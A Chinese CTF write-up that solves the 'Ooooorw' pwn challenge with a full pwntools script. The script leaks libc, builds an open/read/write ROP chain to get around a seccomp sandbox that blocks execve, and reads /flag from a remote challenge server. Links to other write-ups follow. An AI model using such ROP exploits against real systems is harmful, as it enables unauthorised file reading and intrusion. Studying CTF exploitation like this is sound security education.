【PWN】初识Orw
例题:NPCCTF - Ooooorw


发现开启了沙箱,禁用了execve函数,所以只能利用open,read,write函数来进行输出flag
from pwn import *
file = './pwn'
libc = ELF('./libc.so.6')
i = 0
if i == 1:
io = process(file)
else:
io = remote('175.27.249.18',32438)
elf = ELF(file)
context.arch = 'amd64'
context.log_level = 'debug'
#gdb.attach(io)
#---------- EXP ----------
io.recvuntil(b'0x')
printf_addr = int(io.recv(12),16)
libcbase = printf_addr - libc.sym['printf']
pop_rdi = 0x2a3e5 + libcbase
pop_rsi = 0x2be51 + libcbase
pop_rdx_rbx = 0x904a9 + libcbase
open1 = libcbase + libc.symbols['open']
write1 = libcbase + libc.symbols['write']
puts = libcbase + libc.symbols['puts']
read1 = libcbase + libc.symbols['read']
syscall = libcbase + libc.symbols['syscall']
bss = 0x403500
payload = b'a'*0x58 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss) + p64(pop_rdx_rbx) + p64(0x8) + p64(0) + p64(read1)
payload += p64(pop_rdi) + p64(2) + p64(pop_rsi) + p64(bss) + p64(pop_rdx_rbx) + p64(0) + p64(0) + p64(syscall)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx_rbx) + p64(0x100) + p64(0) + p64(read1)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss) + p64(pop_rdx_rbx) + p64(0x100) + p64(0) + p64(write1)
io.sendlineafter(b'Try to PWN.\n',payload)
io.sendline(b'/flag\x00')
io.interactive()
在payload部分,首先使用read将"/flag"写入到bss段,然后利用open打开这个文件,利用read读取问价内容并写入到bss段,最后利用write输出flag

【PWN】初识Orw的更多相关文章
- pwnable.tw start&orw
emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz 1.start 比较简单的一个栈溢出,给出一个li ...
- pwnable.tw orw
orw 首先,检查一下程序的保护机制 开启了canary保护,还是个32位的程序,应该是个简单的题
- 2021能源PWN wp
babyshellcode 这题考无write泄露,write被沙盒禁用时,可以考虑延时盲注的方式获得flag,此exp可作为此类型题目模版,只需要修改部分参数即可,详细见注释 from pwn im ...
- SWPUCTF 2019 pwn writeup
来做一下以前比赛的题目,下面两个题目都可以在buu复现(感谢赵总). SWPUCTF_2019_login 32位程序,考点是bss段上的格式化字符串.用惯onegadgets了,而对于32位程序来说 ...
- BUUCTF pwn一分题目
因为以前做过一些题目,看见1分题目也不太多了,就想着,抓紧点把1分题都刷一下吧.所以开个帖子记录一下,题目简单的话就只贴exp了. [BJDCTF 2nd]secret 这里有一个输入可以进行溢出,n ...
- [BUUCTF]PWN——pwnable_orw
pwnable_orw 附件 步骤: 例行检查,32位程序,开启了canary 本地运行一下程序,看看大概的情况,提示我们输入shellcode 32位ida载入,检索字符串,没看见什么可以直接利用的 ...
- 【pwn】DASCTF Sept 九月赛
[pwn]DASCTF Sept 月赛 1.hehepwn 先查看保护,栈可执行,想到shellcode 这题需要注意shellcode的写法 拖入ida中分析 一直以为iso scanf不能栈溢出, ...
- setcontext+orw
setcontext+orw 大致可以把2.27,2.29做为两个分界点. 我们先来讨论 2.27 及以下的 setcontext + orw 的写法. 首先 setcontext 是什么?了解过 S ...
- pwn 之 沙箱机制
0x00: 简介 沙箱机制,英文sandbox,是计算机领域的虚拟技术,常见于安全方向.一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造 ...
- NCTF2022 - pwn 部分 wp
总的来说我出的几题不是很难,主要是想把自己感觉有意思的一些东西分享给大家. ezlogin 程序设计周大作业稍加改编出的题目.洞在Tea里,有个数组越界写,为了避开\x00截断,我给了*可以对其进行替 ...
随机推荐
- FFmpeg开发笔记(六十三)FFmpeg使用vvenc把视频转为H.266编码
前面的两篇文章分别介绍了如何在Linux环境和Windows环境给FFmpeg集成H.266的编码器vvenc,接下来利用ffmpeg把视频文件转换为VVC格式,观察新生成的vvc视频能否正常播放. ...
- hot100之堆
虽然更多用的是桶 数组中的第k个最大元素(215) 桶排序 class Solution { public int findKthLargest(int[] nums, int k) { int[] ...
- 你知道CAE软件的配置要求吗?
CAE软件是一类特殊的计算机软件,主要用于工程设计和分析.由于CAE软件的处理量非常大,因此对计算机的配置要求较高.在选择计算机配置时,需要考虑多个因素,包括CPU.GPU.内存和存储等. 首先,CP ...
- ET框架运行初次--Mac启动dll程序(资源服务器)
Mac电脑不能直接运行ET携带的一些工具,比如文件服务器.于是必须手动写一个启动脚本 1:环境.必须按照.net core.终端运行 dotnet --version 2:写启动脚本. 在 ET-Br ...
- 深入研究使用DozerMapper复制List<Ojbect>前后元素类型不一致的问题
背景 某项目某个功能点是接受前端传参,将其存入MongoDB.这个传参的核心数据是一个二维数组List<List<Object>>,可以放字符串.整型,也可以放null. 在测 ...
- 开源 vGPU 方案 HAMi 原理分析 Part1:hami-device-plugin-nvidia 实现
本文为开源的 vGPU 方案 HAMi 实现原理分析第一篇,主要分析 hami-device-plugin-nvidia 实现原理. 之前在 开源 vGPU 方案:HAMi,实现细粒度 GPU 切分 ...
- Excel SUMPRODUCT函数用法(乘积求和,分组排序)
SUMPRODUCT函数是Excel中功能比较强大的一个函数,可以实现sum,count等函数的功能,也可以实现一些基础函数无法直接实现的功能,常用来进行分类汇总,分组排序等 SUMPRODUCT 函 ...
- cgal 安装
简介 INSTALL.md里面的文字 感觉cgal只需要头文件?? 似乎是的,因为我好像也没有安装它 安装可以参考这个连接,比较详细,windows 里面的安装 https://www.bilibil ...
- Arm Pro脱壳简单教程
背景 之前写了一个超星学习通接口逆向的文章,应网友要求分享下使用Arm Pro脱壳,虽然挺简单的,但还是写下吧. 脱壳步骤 打开Arm Pro,点击右下角按钮选择APP 选第二个,一键云脱壳Pro 顺 ...
- SciTech-Mathematics-Probability+Statistics- Pandas DataFrame Histogram/BarChart/Boxplot/Scatterplot + Relative Frequency Histogram: Definition + Example()
Links: How to Plot Multiple Series from a Pandas DataFrame How to Make a Scatterplot From a Pandas D ...